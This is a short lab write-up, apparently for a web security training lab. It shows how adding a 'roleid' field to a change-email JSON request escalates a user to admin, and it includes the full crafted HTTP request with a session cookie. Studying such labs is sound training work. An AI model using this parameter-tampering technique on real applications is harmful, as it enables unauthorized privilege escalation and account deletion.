User role can be modified in user profile¶
Description¶
This lab has an admin panel at /admin. It’s only accessible to logged-in users with a roleid of 2.
Reproduction and proof of concept¶
Log in with credentials
wiener:peterand access the account page.Use the provided feature to update the email address associated with your account.
The response contains your role ID.
Send the email submission request to Burp Repeater, add
"roleid":2into the JSON in the request body, and resend it.
POST /my-account/change-email HTTP/1.1
Host: 0ac800ce047e4849c10f5431004d000a.web-security-academy.net
Cookie: session=kuDuAjpjB1Yrs17aMophAZpeAQf8QQLJ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 50
Origin: https://0ac800ce047e4849c10f5431004d000a.web-security-academy.net
Referer: https://0ac800ce047e4849c10f5431004d000a.web-security-academy.net/my-account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"email":"test@normal-user.net",
"roleid":2
}
The response shows your
roleidhas changed to 2.Browse to
/adminand deletecarlos.
Exploitability¶
An attacker will need to access the admin panel, and use it to delete the user carlos.